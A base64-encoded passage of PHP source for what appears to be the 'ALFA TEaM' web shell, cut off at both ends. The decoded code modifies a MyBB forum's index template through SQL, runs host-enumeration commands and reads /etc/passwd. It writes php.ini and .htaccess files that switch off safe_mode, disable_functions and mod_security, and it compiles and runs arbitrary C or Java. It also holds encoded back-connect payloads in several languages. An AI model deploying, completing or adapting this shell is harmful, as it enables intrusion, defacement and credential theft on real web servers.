YmJfZGJoID0gJF9QT1NUWydhbGZhNiddOyAgJG15YmJfZGJ1ID0gJF9QT1NUWydhbGZhNyddOyAgJG15YmJfZGJuID0gJF9QT1NUWydhbGZhOCddOyAgJG15YmJfZGJwID0gJF9QT1NUWydhbGZhOSddOyAgJG15YmJfaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOyAgaWYoIWVtcHR5KCRteWJiX2RiaCkmJiFlbXB0eSgkbXliYl9kYnUpJiYhZW1wdHkoJG15YmJfZGJuKSYmIWVtcHR5KCRteWJiX2luZGV4KSl7ICAkY29ubj1AbXlzcWxpX2Nvbm5lY3QoJG15YmJfZGJoLCRteWJiX2RidSwkbXliYl9kYnAsJG15YmJfZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkcHJlZml4PSJteWJiXyI7ICAkbG9saTcgPSAiVVBEQVRFICIuJHByZWZpeC4idGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0nIi4kbXliYl9pbmRleC4iJyBXSEVSRSB0aXRsZT0naW5kZXgnIjsgICRyZXN1bHQgPUBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGk3KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOyAgX19hbGVydCgnTXlCQiBpbmRleCBjaGFuZ2VkLi4uIScpOyAgfSAgfSAgfSAgZWNobyAiPC9kaXY+IjsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFwcm9jKCkgIHsgIGFsZmFoZWFkKCk7ICBlY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48YnI+PGNlbnRlcj4iOyAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7ICBpZigkR0xPQkFMU1snc3lzJ109PSJ3aW4iKXsgICRwcm9jZXNzPWFycmF5KCAgIlRhc2sgTGlzdCIgPT4idGFza2xpc3QgL1YiLCAgIlN5c3RlbSBJbmZvIiA9PiJzeXN0ZW1pbmZvIiwgICJBY3RpdmUgQ29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsICAiUnVubmluZyBTZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsICAiVXNlciBBY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwgICJTaG93IENvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLCAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIiAgKTt9ZWxzZXsgICRwcm9jZXNzPWFycmF5KCAgIlByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwgICJTeXNsb2ciID0+ImNhdCAvZXRjL3N5c2xvZy5jb25mIiwgICJSZXNvbHYiID0+ICJjYXQgL2V0Yy9yZXNvbHYuY29uZiIsICAiSG9zdHMiID0+ImNhdCAvZXRjL2hvc3RzIiwgICJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwgICJWZXJzaW9uIj0+ImNhdCAvcHJvYy92ZXJzaW9uIiwgICJTYmluIj0+ImxzIC1hbCAvdXNyL3NiaW4iLCAgIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLCAgImxzYXR0ciI9PiJsc2F0dHIgLXZhIiwgICJVcHRpbWUiPT4idXB0aW1lIiwgICJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiICApO30gIGZvcmVhY2goJHByb2Nlc3MgYXMgJG4gPT4gJGxpbmspeyAgZWNobyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsgIH0gIGVjaG8gIjwvY2VudGVyPjxicj4iOyAgaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpeyAgZWNobyAiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnID4iOyAgaWYoaXNzZXQoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSkmJiFlbXB0eSgkX1BPU1RbImMiXSkpeyRjbWQgPSAiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7Ijt9ICBlY2hvIGFsZmFFeCgkY21kLiRfUE9TVFsnYWxmYTEnXSk7CSAgZWNobyAnPC9wcmU+JzsgIH0gIGVjaG8gIjwvZGl2PiI7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhc2FmZSgpeyAgYWxmYWhlYWQoKTsgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEF1dG8gQnlQYXNzZXIgfDwvZGl2PiI7ICBlY2hvICc8aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKGFwYWNoZSkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxcJ3BsXCcpIj58IC5odGFjY2VzcyhMaXRlU3BlZWQpIHw8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLFwncGFzc3dkXCcpIj58IFJlYWQtUGFzc3dkIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndXNlcnNcJykiPnwgUmVhZC1Vc2VycyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJykiPnwgR2V0LVVzZXIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdkb21haW5zXCcpIj58IEdldC1Eb21haW5zIHwgPC9hPjwvY2VudGVyPjwvaDM+JztpZighZW1wdHkoJF9QT1NUWydhbGZhOCddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE4J10pID09ICdkb21haW5zJyl7ICBpZighX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7ICBlY2hvIF9fcHJlKCk7ICAkc29sZXZpc2libGU5ID0gX2FsZmFfZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7ICBpZihpc19hcnJheSgkc29sZXZpc2libGU5KSl7ICBmb3JlYWNoKCRzb2xldmlzaWJsZTkgYXMgJHNvbGV2aXNpYmxlMTMpeyAgaWYoQGVyZWdpKCd6b25lJywkc29sZXZpc2libGUxMykpeyAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRzb2xldmlzaWJsZTEzLCRzb2xldmlzaWJsZTE0KTsgIGlmKHN0cmxlbih0cmltKCRzb2xldmlzaWJsZTE0WzFdWzBdKSkgPiAyKXsgIGVjaG8gJHNvbGV2aXNpYmxlMTRbMV1bMF0uJzxicj4nOyAgfX19ICB9ICB9ZWxzZXsgIGVjaG8gX19wcmUoKTsgICR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsgIGlmKGlzX2FycmF5KCR1c2VycykpeyAgZm9yZWFjaCgkdXNlcnMgYXMgJGJveil7ICAkZG9tID0gZXhwbG9kZSgiOiIsJGJveik7ICBlY2hvICRkb21bMF0uIlxuIjt9fX19ICBpZighZW1wdHkoJF9QT1NUWydhbGZhNiddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE2J10pID09ICd2YWxpYXNlcycpeyAgZWNobyAnCjxmb3JtIG9uc3VibWl0PSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJyx0aGlzLnNpdGUudmFsdWUsbnVsbCxcJz4+XCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIC8+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Vcmw6IDwvZm9udD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPic7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE5J10pICYmICRfUE9TVFsnYWxmYTknXSA9PSAnPj4nKXsgIGlmKCFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsgICRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOyAgJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOyAgJHVzZXIgPSAiIjsgIGlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpKXsgIAlpZigkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzL3skcmVwfSIpKSl7ICAgJHVzZXIgPSAkdXNlclsnbmFtZSddOyAgCX0gIH1lbHNleyAgCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpeyAgICR1c2VyID0gYWxmYUV4KCJzdGF0IC1jICclVScgL2V0Yy92YWxpYXNlcy8iLiRyZXApOyAgCX0gIH0gIGlmKCFlbXB0eSgkdXNlcikmJiR1c2VyIT0ncm9vdCcpeyAgZWNobyBfX3ByZSgpLiI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcjogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHVzZXJ9PC9mb250PjwvYj48L3RkPjwvdHI+PHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5zaXRlOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskcmVwfTwvZm9udD48L2I+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsgIH1lbHNlIHtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGI+Tm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSBPciBEaXNhYmxlIEZ1bmN0aW9ucyBpcyBub3QgTk9ORS4uLjwvYj48L2NlbnRlcj4nO30gIH1lbHNleyAgJHNpdGUgPSB0cmltKCRfUE9TVFsnYWxmYTcnXSk7ICAkcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7ICAkdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7ICBmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsgICRleCA9IGV4cGxvZGUoIjoiLCRib3opOyAgaWYoJGV4WzBdID09ICRyZXApeyAgZWNobyBfX3ByZSgpLiI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPgo8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXI6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+Ii50cmltKCRleFsxXSkuIjwvZm9udD48L2I+PC90ZD48L3RyPgo8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iO2JyZWFrO319fX19ICBpZighZW1wdHkoJF9QT1NUWydhbGZhNSddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE1J10pKXsgIGlmKCFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsgIGVjaG8gX19wcmUoKTsgICRpID0gMDsgIHdoaWxlICgkaSA8IDYwMDAwKSB7ICAkbGluZSA9IEBwb3NpeF9nZXRwd3VpZCgkaSk7ICBpZiAoIWVtcHR5KCRsaW5lKSkgeyAgd2hpbGUgKGxpc3QgKCRrZXksICR2bCkgPSBlYWNoKCRsaW5lKSl7ICBlY2hvICR2bC4iXG4iOyAgYnJlYWs7fX0kaSsrO30gIH1lbHNle2VjaG8gX19wcmUoKTsgICR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsgIGZvcmVhY2goJHVzZXJzIGFzICRib3opeyAgJHVzZXIgPSBleHBsb2RlKCI6IiwkYm96KTsgIGVjaG8gdHJpbSgkdXNlclsxXSkuJzxicj4nO319fSAgaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNCddKSl7ICBlY2hvIF9fcHJlKCk7ICBpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXtlY2hvIF9fcmVhZF9maWxlKCIvZXRjL3Bhc3N3ZCIpO31lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpKXsgIGZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspeyAgJGFyYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsgIGlmKCFlbXB0eSgkYXJhKSl7ICB3aGlsZShsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpeyAgZWNobyAiJHZhbDoiOyAgfWVjaG8gIlxuIjt9fSAgfWVsc2V7X19hbGVydCgnZmFpbGVkLi4uJyk7fX0gIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTInXSkpeyAgQF9fd3JpdGVfZmlsZSgkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsIiNHZW5lcmF0ZWQgQnkgU29sZSBTYWQgYW5kIEludmlzaWJsZVxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjLS0tLS0tRW5naW5lIE9mZlxuU2VjLS0tLS0tU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOyAgZWNobyAnPGNlbnRlcj48Yj48YmlnPmh0YWNjZXNzIGZvciBBcGFjaGUgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsgIH0gIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pJiYgaXNzZXQoJF9QT1NUWydhbGZhMSddKSl7ICBAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInNhZmVfbW9kZT1PRkZcbmRpc2FibGVfZnVuY3Rpb25zPUJ5UGFzc2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlKEFMRkEgVEVhTSkiKTsgIGVjaG8gJzxjZW50ZXI+PGI+PGJpZz4gcGhwLmluaSBjcmVhdGVkLi4uITwvY2VudGVyPjwvYj48L2JpZz4nOyAgfSAgaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMyddKSl7ICBAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwiI0dlbmVyYXRlZCBCeSBTb2xlIFNhZCBhbmQgSW52aXNpYmxlXG48RmlsZXMgKi5waHA+XG5Gb3JjZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0XG48L0ZpbGVzPlxuPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPlxuU2VjRmlsdGVyRW5naW5lIE9mZlxuU2VjRmlsdGVyU2NhblBPU1QgT2ZmXG48L0lmTW9kdWxlPiIpOyAgZWNobyAnPGNlbnRlcj48Yj48YmlnPmh0YWNjZXNzIGZvciBMaXRlc3BlZWQgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsgIH0gIGVjaG8gIjxicj48L2Rpdj4iOyAgYWxmYWZvb3RlcigpOyAgfSAgZnVuY3Rpb24gX19nZXRfcmVzb3VyY2UoJGNvbnRlbnQpeyAgcmV0dXJuIEBnemluZmxhdGUoX19aR1ZqYjJSbGNnKCRjb250ZW50KSk7ICB9ICBmdW5jdGlvbiBfX3dyaXRlX2ZpbGUoJGZpbGUsICRjb250ZW50KXsgIGlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpeyAgaWYoZndyaXRlKCRmaCwgJGNvbnRlbnQpIT09ZmFsc2UpIHJldHVybiB0cnVlOyAgfSAgcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gYmNpbml0KCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsgICRyZXMgPSAiPGZvbnQgY29sb3I9J2dyZWVuJz5bIFN1Y2Nlc3MuLi4hIF08L2ZvbnQ+IjsgICRlcnIgPSAiPGZvbnQgY29sb3I9J3JlZCc+WyBGYWlsZWQuLi4hIF08L2ZvbnQ+IjsgIGlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7ICBpZigkZXZhbEFyZ3VtZW50cyE9IiIpICRldmFsQXJndW1lbnRzID0gIiAiLiRldmFsQXJndW1lbnRzOyAgaWYoJGV2YWxUeXBlPT0iYyIpeyAgJHRtcGRpciA9IEFMRkFfVEVNUERJUjsgIGNoZGlyKCR0bXBkaXIpOyAgaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpeyAgJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsgICRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmMiOyAgJHBhdGggPSAkZmlsZW5hbWU7ICBpZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpeyAgJGV4dCA9ICgkR0xPQkFMU1snc3lzJ109PSd3aW4nKT8gIi5leGUiOiIub3V0IjsgICRwYXRocmVzID0gJGZpbGVuYW1lLiRleHQ7ICAkZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOyAgJGNtZCA9ICJnY2MgIi4kZXZhbE9wdGlvbnMuJHBhdGg7ICBhbGZhRXgoJGNtZCk7ICBpZihpc19maWxlKCRwYXRocmVzKSl7ICBpZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpeyAgJGNtZCA9ICRwYXRocmVzLiRldmFsQXJndW1lbnRzOyAgYWxmYUV4KCRjbWQpOyAgfWVsc2V7JHJlcyA9ICRlcnI7fSAgdW5saW5rKCRwYXRocmVzKTsgIH1lbHNleyRyZXMgPSAkZXJyO30gIHVubGluaygkcGF0aCk7ICB9ZWxzZXskcmVzID0gJGVycjt9ICB9ICByZXR1cm4gJHJlczsgIH1lbHNlaWYoJGV2YWxUeXBlPT0iamF2YSIpeyAgJHRtcGRpciA9IEFMRkFfVEVNUERJUjsgIGNoZGlyKCR0bXBkaXIpOyAgaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpeyAgaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7ICAkY2xhc3NuYW1lID0gdHJpbSgkclsxXSk7ICAkZmlsZW5hbWUgPSAkY2xhc3NuYW1lOyAgfWVsc2V7ICAkdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOyAgJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOyAgJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOyAgfSAgJHBhdGggPSAkZmlsZW5hbWUuIi5qYXZhIjsgIGlmKF9fd3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7ICAkY21kID0gImphdmFjICIuJGV2YWxPcHRpb25zLiRwYXRoOyAgYWxmYUV4KCRjbWQpOyAgJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7ICBpZihpc19maWxlKCRwYXRocmVzKSl7ICBpZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpeyAgJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOyAgYWxmYUV4KCRjbWQpOyAgfWVsc2V7JHJlcyA9ICRlcnI7fSAgdW5saW5rKCRwYXRocmVzKTsgIH1lbHNleyRyZXMgPSAkZXJyO30gIHVubGluaygkcGF0aCk7ICB9ZWxzZXskcmVzID0gJGVycjt9ICB9ICByZXR1cm4gJHJlczsgIH0gIHJldHVybiBmYWxzZTsgIH0gIGZ1bmN0aW9uIGFsZmFjb25uZWN0KCl7ICBhbGZhaGVhZCgpOyAgJHBocD0iN1ZadGE5c3dFUDVlNkg5UWphRTJTNXVYZmhnMHBEQllQdzdLVnRpSHRqT09MTmNpdHFWSjhwS3hwYjk5ZDM2TDR6aWQxN1d3UVYxd3JidlRvMGU2T3oxaFNnbmxLU2FGTWp5OWQwYnU5UEJBTStNWm5qQXY1Z2szaFUzTVBaN0ltRk51dkRET2RPU2cxVGErdW1kR2t4bGhLeG1MZ0RrV3NRYWt0T2NoRkwzanM3TzNPRmo2TUVpek9NWUJhdzUwQkFNTFVJQUp1Yjc4K0dHMk1rd2wwNnRQNDlueHJYMzErZjNGOGJSMGcyMDZuUE4wQ0pOT3VJWFRFNXo5UU43Rm9VK3VtWjhRSGJFNEpnL2s4QUQ5UENRT0ZWbHFuSXF5UzJaQXl5VS9EZzhJUExZRWdOSTNMVTA1STZzYUdSekJvZ0ZhMW9URm11MUJuWFNpNnB2UlhSTzVOby92dHBmdzZTSmZvbUFkWmlrMVhLUWVXM0Z0dEhNc2FXcGlMeFJxY2V3MkZ1SUJUTjc0OHZTZ0J6RUs3NHljNElZQnh6amp0cnUwajVwMktUUmZlVkFObWdlTzJ3RlFVa1RlMWRsc0dHSGF0VkdRQzA4THVvQ2Ewa3g5WThxeERKWG53K0hvTlA4N3Q4Z3AwSWVhWVVxbG92Z1A4eW9pRlVSWmt5S0R3OVlEY2xZenRlbk9RajZsVEdKY2N6Y1FZa1FzbHNCQVozTVlPVEtTWHBiNkNYUGNBUmtCcHB0djBscnlkTE1QZk1LbDRvWTVOZ1YyQ2RDRnRORWxIc2twc1M2c2FoRjhsaEdQR1o0b09RS2swSWNpMlVLcWl5TEUxQU5pYzNKOTdvcmRlNGx2YU9SWVF4cmNFdWZteTYyK2UrTU9PZllXbnBWUzdnNXVqaDFnR1lCN1UxVnRkSzY5Z0NzSElnR0NSdFYzUjdRdEFHdDdyNjJvVFJzWXhaUG1FZHV5UEV5c0ZvdjgvRW4yUm56TklNSWxjOGpnb29XUDZBVU5IeHI3Y29XVGtJaTFrNFRXeEdiR1JITnY2MFpXYVN3MGErV2dNdGFsVTJ4eGJ6VTA1OW9CMXJ5dmxQL2RHWkhaUmZscFNTNFpKTTVTRnRUWnVNT3hSTWVrMjdHMWdGVFk1RXBRVDBpV0FzdG9nS3RpVVhEWmpNU1VIRUdtRmRNaVV4VFlTcXlZN2Q3SHA5RmU4eGk2QjBVQXdlQ3lncDdvRlRudUhUbnBGVWxiUVdWUEdaWHQ5bEorUXpJUlloYXh5SXJ2Z3BYYlhWTzI4dXNzNVRtczlsQlNiSGRDelRGbUZPNFU1VVBrRWw4TVhxaGVYUzNNVTYreGd2TDNkQ3ZIbXdEZ2d5S082cTQyck9xdHlvck4yMUhyeHdqVTIrdkRvZzUrbkFwOUVvdkpuN0NZL0QyTGpsN1hYYjNlZVFFVXA3M1BNOTdyMlM2Z3ZGY3JiNjFwNitZUGlFbzlVZmEzMVRORU9Tc2FQU3J2ZlpiaWEwdi9ua25iOUxOcjIwN3VYcld0aWI5UDIrQUhhMTkxMHozVXJZZVE2VmNoZXhFaDAwOFNNdjBrSWRNdkxtUzY1K1d0L3ljaDAvK0VrUDJPUlY4aGUybk4rZ1U9IjsgICRweXRob249InBWUnRUOXN3RVA2Y1N2MFB4cHRXUjgwTTdZWTB3WUpVUVpqUUJsUnRwMzBBVnFYT3BZbVdPcEh0UVBuQ2I1L3RKRzFBSFVLYXFyYStWOTl6OTV6ZjdlMlhVdXd2VXI0UC9CNFZqeXJKZWJlVHJvcGNLQ1RBaytXaUVEa0RLYjFjZXZKUmYzUDJCNVNuMGhWME80V1BjYmVUMk44SVlpUVR5RExDM0tOdXh6RngvamFlanZNQ09HR2U5ZkZub3RUWlZaU1g2cG5UeFRnd2FoQmlsenJsTDdXdXZrbUFLZ1ZIUmsycmxGUkFHQkczMzZoMHVwWnFWU2ppVXVBc2o0RDBTaFYvL05MVGVTb0lJVk5wem1zTWFZeHlTWG00Z2owZmM0V056b2w5UnVNMEE1NFRjN3VqUFhSakZLd0loclZ0M0N5WVhQcHJCV0oxUEo0Ty9ONzc4YSt6azk1eGJkV3FZOXR5bWFDUEtmcjZBZmVsRWlSMit4aWR0SVhoVmpJWFFTYkJGdkNRNk51UjZhQVZIU1VlcTRNamRHa0MyRDBaSEF3L3V6UUNDeEZiaU5nVzY4Q2FRYUZxL3lLVXN0STJ1UjJEV1dNandqMDVxRFhPd2hkQUpZU0NKUVN6NkJhUm05KzM4cTd2WWs5NGNSWXVwWEc0K0haMVBRbE9SOVBBcmVOMHFrV1RvKzVsRWFxRXBqSktCVm5RcGNqTGdneGNkK05rbXNtU0Y5YkdxRWNKUENML21tRGoxOEtpOHhsK1dWWUt0MTFKcVZESUk0dFVudzNXT3J1UktrZWJCOVhrT2crMTFIQ2txZUJvU3o1OHkzRmZGNzhFeFI0TXovQ0ozb21scjVsQlE3RzgxMHRWOVhYcCt2N1E3b2UvdkJuY2RUdVF0U3lmMmhZbjBZZWhkZEdWd0RwVnVodG02Vkt1U0tGUDBxKzJrVlovcEpaRzUvT0xxMkJXcnlxZFhwOStuMDluazJCMGFXSTBUR1VzZWJFSm1GNy9tQnV2ZHN4OEV2eWNCcU96czRsbkxuMVp2YVNhd1JFaCtJRGFEL1lLT3dCSnMxVHZBaWVIUmpMTTFDc2Z1cjd1QWpQRXN5dlQ0cUI1UjZqTUFBcUxiVHU4bmF2WFVJRGdKelRLNGhETklGeWhxWmt2ZXRJVDJNMkpMU0ZlQzhlYnAyRjNsczNEOEt3WmRtQUdKdExFelRrSHBnaEo2bWJzeG5uNEJwenkvM0MrRnY1R25OTDlDdz09IjsgICRwZXJsPSJsWkxSanBOQUZJYXYyNlR2TU9Kc0M4a1lXcjFicEpGUTNEUnJTOE93R21PVnNQU3NUS1FEZ1ZtM20rNzIyWjBCVmlmR0dMMDc1NS9EZCtBYm5qK3piNXZhdm1iY0J2NGRWVkFYbytGdEEyZ1pucC9UTXZzR3doa05jZG00K0V1b3FpWjNEVGhVWlMxUUhFUXI5eUNnM2pzYk9uTW5XN3o1c05qT0owNS9Ma09uSlRjNWVzRU0rVFM3TVJYcXRMZnZaTXlzWTRzNzg4TVYzUVQrR2JJdkRlZFJMaEh1VnhCVlhZcnkrcDZuZXpBbklxc21saVEwN1N1WmxJdzNiNVBsT29qSm1JYitaVUxqS1BCV0JBdnI0V0hId0xTNmJXKzg2T0s5Njg2czQyZzR3SldMVmY5cCtsbWVEaG9RaWxaV0NrZkRkNGtDU1NBTmt5aTRvb0czV0VSa3BrQUQrUkU3T2FURzA5MnVUaGczY1VXV2F6V1NlT3VQbHJaMVVMQkdBSmZqci9RMHpUS1FtM3hDclc2NUpQckVPQ0d2dUVsUkRPa2UwUnlLQXAyMjNDRFRkcWlzZ0NNYUw1WnJZcndlKzRiekZJUlhNVEhtZWhKRVVaL0k1K0FBR1pKcXRmVlpVVFpnK3BiVEZmUm5vZWhhSThsYUo2bFdCMlFDVFdVbEx3ZUs1cGZZbDM4U2kvTytuWFV0Y3hrSGthU2lsTnB5WFFwTzNkK2NZcWFmWnlYbmtLbjd3YW1ldC9ib1A5Z3plM3Z6TVRVczV5bnA5ZWxSNzA5RmZ4UDRmOTQ2VzNCVStrejVKejMrQUE9PSI7ICAkcnVieT0idFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMW